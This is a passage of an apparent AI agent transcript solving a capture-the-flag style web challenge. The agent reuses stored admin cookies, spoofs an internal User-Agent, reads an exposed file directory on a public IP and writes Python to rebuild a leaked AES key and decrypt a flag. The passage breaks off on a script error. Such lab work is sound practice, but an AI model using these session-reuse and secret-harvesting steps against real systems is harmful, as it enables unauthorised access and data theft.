\n <a href="/download-vault" class="btn" download>\n ⬇️ Download Encrypted Vault\n \n \n \n\n \n <div class="section">\n 📊 System Overview
\n <div class="stats-grid">\n <div class="stat-card">\n Total Users\n 1,247\n \n <div class="stat-card">\n Active Sessions\n 89\n \n <div class="stat-card">\n Vault Status\n <strong style="color: #dc3545;">LOCKED\n \n <div class="stat-card">\n Last Login\n Just now\n \n \n \n\n \n <div class="section">\n 🔍 Security Logs
\n <div class="logs">\n <div class="log-line">[2024-01-15 10:45:01] Admin login: administrator\n <div class="log-line">[2024-01-15 10:45:12] Vault access initiated\n <div class="log-line">[2024-01-15 09:02:14] Admin login: admin\n <div class="log-line">[2024-01-15 09:05:47] Admin login: root\n <div class="log-line">[2024-01-15 09:11:03] Admin login: superuser\n <div class="log-line">[2024-01-15 09:18:56] Admin login: bhargav\n <div class="log-line">[2024-01-15 09:27:41] Admin login: test_admin\n <div class="log-line">[2024-01-15 09:35:22] Admin login: administrator\n <div class="log-line">[2024-01-15 09:44:09] Admin login: sysadmin\n <div class="log-line">[2024-01-15 09:51:33] Admin login: admin_backup\n <div class="log-line">[2024-01-15 10:02:18] Admin login: dev_admin\n <div class="log-line">[2024-01-15 10:12:59] Admin login: it_support\n <div class="log-line">[2024-01-15 10:20:44] Admin login: cloud_admin\n <div class="log-line">[2024-01-15 10:29:07] Admin login: security_ops\n <div class="log-line">[2024-01-15 10:37:51] Admin login: admin_temp\n <div class="log-line">[2024-01-15 10:45:01] Admin login: admin\n <div class="log-line">[2024-01-15 10:53:36] Admin login: root\n <div class="log-line">[2024-01-15 11:01:12] Admin login: superuser\n <div class="log-line">[2024-01-15 11:08:58] Admin login: bhargav\n <div class="log-line">[2024-01-15 11:17:29] Admin login: administrator\n <div class="log-line">[2024-01-15 11:26:04] Admin login: sysadmin\n <div class="log-line">[2024-01-15 11:34:47] Admin login: admin_backup\n <div class="log-line">[2024-01-15 11:42:19] Admin login: dev_admin\n <div class="log-line">[2024-01-15 11:50:55] Admin login: it_support\n <div class="log-line">[2024-01-15 12:01:31] Admin login: cloud_admin\n <div class="log-line">[2024-01-15 12:10:08] Admin login: security_ops\n <div class="log-line">[2024-01-15 12:18:42] Admin login: admin_temp\n <div class="log-line">[2024-01-15 12:27:16] Admin login: admin\n <div class="log-line">[2024-01-15 12:35:59] Admin login: root\n <div class="log-line">[2024-01-15 12:44:37] Admin login: superuser\n <div class="log-line">[2024-01-15 12:52:21] Admin login: bhargav\n <div class="log-line">[2024-01-15 13:00:48] Admin login: administrator\n <div class="log-line">[2024-01-15 13:08:15] Admin login: admin\n <div class="log-line">[2024-01-15 13:16:42] Admin login: root\n <div class="log-line">[2024-01-15 13:24:19] Admin login: sysadmin\n <div class="log-line">[2024-01-15 13:31:47] Admin login: dev_admin\n <div class="log-line">[2024-01-15 13:39:23] Admin login: cloud_admin\n <div class="log-line">[2024-01-15 13:46:58] Admin login: security_ops\n <div class="log-line">[2024-01-15 13:54:31] Admin login: it_support\n <div class="log-line">[2024-01-15 14:02:08] Admin login: admin_backup\n <div class="log-line">[2024-01-15 14:09:44] Admin login: admin_temp\n <div class="log-line">[2024-01-15 14:17:19] Admin login: superuser\n <div class="log-line">[2024-01-15 14:24:52] Admin login: test_admin\n <div class="log-line">[2024-01-15 14:32:26] Admin login: bhargav\n <div class="log-line">[2024-01-15 14:40:03] Admin login: administrator\n <div class="log-line">[2024-01-15 14:47:39] Admin login: admin\n <div class="log-line">[2024-01-15 14:55:14] Admin login: root\n <div class="log-line">[2024-01-15 15:02:51] Admin login: sysadmin\n <div class="log-line">[2024-01-15 15:10:27] Admin login: dev_admin\n <div class="log-line">[2024-01-15 15:18:04] Admin login: cloud_admin\n <div class="log-line">[2024-01-15 15:25:39] Admin login: security_ops\n <div class="log-line">[2024-01-15 15:33:15] Admin login: it_support\n <div class="log-line">[2024-01-15 15:40:52] Admin login: admin_backup\n <div class="log-line">[2024-01-15 15:48:28] Admin login: admin_temp\n <div class="log-line">[2024-01-15 15:56:04] Admin login: superuser\n <div class="log-line">[2024-01-15 16:03:41] Admin login: test_admin\n <div class="log-line">[2024-01-15 16:11:17] Admin login: bhargav\n <div class="log-line">[2024-01-15 16:18:54] Admin login: administrator\n <div class="log-line">[2024-01-15 10:46:33] 🔑 oe34pu part 3\n <div class="log-line">[2024-01-15 16:26:30] Admin login: admin\n <div class="log-line">[2024-01-15 16:34:07] Admin login: root\n <div class="log-line">[2024-01-15 16:41:43] Admin login: sysadmin\n <div class="log-line">[2024-01-15 16:49:19] Admin login: dev_admin\n <div class="log-line">[2024-01-15 16:56:56] Admin login: cloud_admin\n <div class="log-line">[2024-01-15 17:04:32] Admin login: security_ops\n <div class="log-line">[2024-01-15 17:12:09] Admin login: it_support\n <div class="log-line">[2024-01-15 17:19:45] Admin login: admin_backup\n <div class="log-line">[2024-01-15 17:27:21] Admin login: admin_temp\n <div class="log-line">[2024-01-15 17:34:58] Admin login: superuser\n <div class="log-line">[2024-01-15 17:42:34] Admin login: test_admin\n <div class="log-line">[2024-01-15 17:50:11] Admin login: bhargav\n <div class="log-line">[2024-01-15 17:57:47] Admin login: administrator\n \n \n\n \n <div class="section">\n 🛡️ Vulnerability Information
\n <ul class="vulnerability-list">\n CWE-321: Use of Hard-coded Cryptographic Key \n CWE-326: Inadequate Encryption Strength \n CWE-532: Information Exposure Through Log Files \n \n \n \n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s -b /sandbox/admin_cookies.txt -H \"User-Agent: DevSecOps-Internal-Browser/1.0\" http://3.28.44.58/download-vault -o /sandbox/vault_encrypted.txt"}
Tool result
{"exitCode":0,"stdout":"","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/myfiles/"}
Tool result
{"exitCode":0,"stdout":"\n\nIndex of /myfiles/\n\nIndex of /myfiles/
\n
\n\n<a href="../">../\n<a href="backup_log.csv">backup_log.csv 2024-01-14 11:45 2.1K\n<a href="crypto_params.txt">crypto_params.txt 2024-01-10 08:22 1.8K\n<a href="config.json">config.json 2024-01-15 14:00 445\n
\n
\nApache/2.4.52 (Ubuntu) Server\n\n","stderr":""}Call sandbox_execute
Arguments
{"command": "cat /sandbox/vault_encrypted.txt"}
Tool result
{"exitCode":0,"stdout":"===========================================\n TECHCORP ENCRYPTED VAULT\n===========================================\nCipher: AES-256-CBC\nIV Derivation: SHA256("starknet")[:16]\nKey: [REDACTED - Fragmented across system]\n--- BEGIN ENCRYPTED FLAG ---\ngiqPjhESRMcd519HEDQBbU6vrPrdZWdQ0vUO1+v0O3kW/gzN8mXJjHzVyEgOezDa\n--- END ENCRYPTED FLAG ---","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/myfiles/backup_log.csv"}
Tool result
{"exitCode":0,"stdout":"id,timestamp,operation,status,data,checksum\n001,2024-01-10 08:00:00,backup,SUCCESS,regular_backup,a1b2c3\n002,2024-01-10 12:00:00,sync,SUCCESS,db_sync_complete,d4e5f6\n003,2024-01-11 08:00:00,backup,FAILED,disk_full_error,g7h8i9\n004,2024-01-11 14:30:00,restore,SUCCESS,restored_config,j0k1l2\n005,2024-01-12 08:00:00,backup,SUCCESS,incremental_bkp,m3n4o5\n006,2024-01-12 16:45:00,archive,SECRET,n3t_,p6q7r8\n007,2024-01-13 08:00:00,backup,SUCCESS,full_backup,s9t0u1\n008,2024-01-13 20:00:00,cleanup,SUCCESS,temp_removed,v2w3x4\n009,2024-01-14 08:00:00,backup,SUCCESS,weekly_backup,y5z6a7\n010,2024-01-14 11:45:00,verify,SUCCESS,integrity_ok,b8c9d0\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/myfiles/crypto_params.txt"}
Tool result
{"exitCode":0,"stdout":"===========================================\n VAULT ENCRYPTION PARAMETERS\n===========================================\n\nAlgorithm: AES-256-CBC\nBlock Size: 16 bytes\nKey Length: 16 characters\n\n===========================================\nIV CALCULATION (IMPORTANT!)\n===========================================\nThe IV is NOT stored directly.\nYou must calculate it using this formula:\n\n1. Take the project codename: "starknet"\n2. Apply SHA-256 hash\n3. Use first 16 bytes of the hash as IV\n\nPython hint:\n import hashlib\n iv = hashlib.sha256(b'starknet').digest()[:16]\n\n===========================================\nKEY RECONSTRUCTION\n===========================================\nThe key is split into 3 fragments.\nEach fragment is encoded differently:\n\nFragment 1: HEX encoded (0x7374347234)\nFragment 2: Hidden in CSV (status=SECRET) = n3t_\nFragment 3: ROT13 encoded (check admin panel) = oex1\n\nDecoding Fragment 1: 0x7374347234 -> st4r\nDecoding Fragment 3: oex1 -> brk1\n\nFinal key format: st4r + n3t_ + brk1 = st4rn3t_brk1\nPadded to 16 bytes: st4rn3t_brk10000\n\n===========================================\nDECRYPTION PROCESS\n===========================================\n1. Collect all 3 fragments\n2. Decode each fragment appropriately\n3. Combine: frag1_frag2_frag3\n4. Calculate IV from project name\n5. Use AES-256-CBC to decrypt\n6. The encrypted data is Base64 encoded\n\n===========================================\n","stderr":""}Call sandbox_execute
Arguments
{"command": "curl -s http://3.28.44.58/myfiles/config.json"}
Tool result
{"exitCode":0,"stdout":"{\n "application": "TechCorp Vault",\n "version": "2.1.0",\n "encryption": {\n "algorithm": "AES-256-CBC",\n "mode": "CBC",\n "padding": "PKCS7",\n "key_info": {\n "total_fragments": 3,\n "fragment_1": "0x7374347234",\n "fragment_2": "n3t_",\n "fragment_3_rot13": "oex1",\n "combination_format": "frag1+frag2+frag3",\n "required_length": 16\n },\n "iv_info": {\n "derivation": "sha256",\n "source": "starknet",\n "bytes_used": 16,\n "hint": "lowercase matters!"\n }\n },\n "notes": "Encrypted data is base64 encoded in vault file"\n}\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/decrypt_vault.py", "content": "#!/usr/bin/env python3\nimport hashlib\nimport base64\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\n# Reconstruct the key\n# Fragment 1: 0x7374347234 = st4r4\nhex_frag1 = \"7374347234\"\nfrag1 = bytes.fromhex(hex_frag1).decode('ascii')\nprint(f\"Fragment 1 (hex decoded): {frag1}\")\n\n# Fragment 2: n3t_\nfrag2 = \"n3t_\"\nprint(f\"Fragment 2: {frag2}\")\n\n# Fragment 3: oex1 (ROT13)\nimport codecs\nfrag3_rot13 = \"oex1\"\nfrag3 = codecs.decode(frag3_rot13, 'rot_13')\nprint(f\"Fragment 3 (ROT13 decoded): {frag3}\")\n\n# Combine key\nkey_str = frag1 + frag2 + frag3\nprint(f\"Combined key: {key_str}\")\nprint(f\"Key length: {len(key_str)}\")\n\n# Pad to 16 bytes if needed\nif len(key_str) < 16:\n key_str = key_str + \"0\" * (16 - len(key_str))\n print(f\"Padded key: {key_str}\")\n\nkey = key_str.encode('ascii')\n\n# Calculate IV from \"starknet\"\niv = hashlib.sha256(b'starknet').digest()[:16]\nprint(f\"IV (hex): {iv.hex()}\")\n\n# Encrypted data (base64 from vault file)\nencrypted_b64 = \"giqPjhESRMcd519HEDQBbU6vrPrdZWdQ0vUO1+v0O3kW/gzN8mXJjHzVyEgOezDa\"\nencrypted_data = base64.b64decode(encrypted_b64)\n\n# Decrypt\ncipher = AES.new(key, AES.MODE_CBC, iv)\ndecrypted_padded = cipher.decrypt(encrypted_data)\n\n# Unpad\ntry:\n decrypted = unpad(decrypted_padded, AES.block_size)\n print(f\"\\nDecrypted flag: {decrypted.decode('ascii')}\")\nexcept Exception as e:\n print(f\"Error during unpadding: {e}\")\n print(f\"Raw decrypted (hex): {decrypted_padded.hex()}\")\n"}
Tool result
{"result":"/sandbox/decrypt_vault.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 decrypt_vault.py"}
Tool result
{"exitCode":0,"stdout":"Fragment 1 (hex decoded): st4r4\nFragment 2: n3t_\nFragment 3 (ROT13 decoded): brk1\nCombined key: st4r4n3t_brk1\nKey length: 13\nPadded key: st4r4n3t_brk1000\nIV (hex): fd187671a1d5f861b976693a96701977\nError during unpadding: Padding is incorrect.\nRaw decrypted (hex): ea70f44944f412f75ff12d91500f5481cc84149a79600d36aa22f6335eae113d6dbd65a32a047f12c06720a1749d456d\n","stderr":""}Call sandbox_execute
Arguments
{"command": "echo \"0x7374347234\" | python3 -c \"import sys; print(bytes.fromhex(sys.stdin.read().strip()[2:]).decode())\""}
Tool result
{"exitCode":0,"stdout":"st4r4\n","stderr":""}Call sandbox_write_file
Arguments
{"filepath": "/sandbox/decrypt_vault2.py", "content": "#!/usr/bin/env python3\nimport hashlib\nimport base64\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\n# From dev-panel logs: [2024-01-15 09:24:12] error: part 1 0x7374347236b5f\nhex_frag1 = \"7374347236b5f\"\nfrag1 = bytes.fromhex(hex_frag1).decode('latin-1')\nprint(f\"Fragment 1 (hex decoded): {frag1} -> {repr(frag1)}\")\n\n# Fragment 2: n3t_ from CSV\nfrag2 = \"n3t_\"\nprint(f\"Fragment 2: {frag2}\")\n\n# Fragment 3: oe34pu from admin panel logs [2024-01-15 10:46:33] 🔑 oe34pu part 3\nimport codecs\nfrag3_rot13 = \"oe34pu\"\nfrag3 = codecs.decode(frag3_rot13, 'rot_13')\nprint(f\"Fragment 3 (ROT13 decoded): {frag3}\")\n\n# Try various combinations\nkeys_to_try = []\n\n# Try direct assembly from hex\ntry:\n # Fragment 1 from hex in log\n f1 = bytes.fromhex(\"7374347236b5f\").decode('ascii', errors='ignore')\n print(f\"Frag1 from first log: {repr(f1)}\")\nexcept:\n pass\n\n# Let me check crypto_params again - it says frag1 is 0x7374347234 which is \"st4r4\"\nfrag1_correct = \"st4r4\"\nprint(f\"\\nUsing Fragment 1 from crypto_params: {frag1_correct}\")\nprint(f\"Fragment 2 from CSV: {frag2}\")\nprint(f\"Fragment 3 ROT13 decoded: {frag3}\")\n\n# Combination\nkey_str = frag1_correct + frag2 + frag3\nprint(f\"\\nCombined key: {key_str} (length: {len(key_str)})\")\n\n# Pad to 16\nif len(key_str) < 16:\n key_str = key_str.ljust(16, '0')\n print(f\"Padded key: {key_str} (length: {len(key_str)})\")\n\nkey = key_str.encode('ascii')\n\n# IV from starknet\niv = hashlib.sha256(b'starknet').digest()[:16]\nprint(f\"IV: {iv.hex()}\")\n\n# Decrypt\nencrypted_b64 = \"giqPjhESRMcd519HEDQBbU6vrPrdZWdQ0vUO1+v0O3kW/gzN8mXJjHzVyEgOezDa\"\nencrypted_data = base64.b64decode(encrypted_b64)\n\ncipher = AES.new(key, AES.MODE_CBC, iv)\ndecrypted = cipher.decrypt(encrypted_data)\n\ntry:\n result = unpad(decrypted, AES.block_size).decode('ascii')\n print(f\"\\n✓ FLAG: {result}\")\nexcept:\n print(f\"Raw decrypted: {decrypted.hex()}\")\n print(f\"As ASCII (ignore errors): {decrypted.decode('ascii', errors='ignore')}\")\n"}
Tool result
{"result":"/sandbox/decrypt_vault2.py"}Call sandbox_execute
Arguments
{"command": "cd /sandbox && python3 decrypt_vault2.py"}
Tool result
{"exitCode":1,"stdout":"","stderr":"Traceback (most recent call last):\n File "/sandbox/decrypt_vault2.py", line 9, in \n frag1 = bytes.fromhex(hex_frag1).decode('latin-1')\n ~~~~~~~~~~~~~^^^^^^^^^^^\nValueError: non-hexadecimal number found in fromhex() arg at position 13\n"}Inference interrupted by user.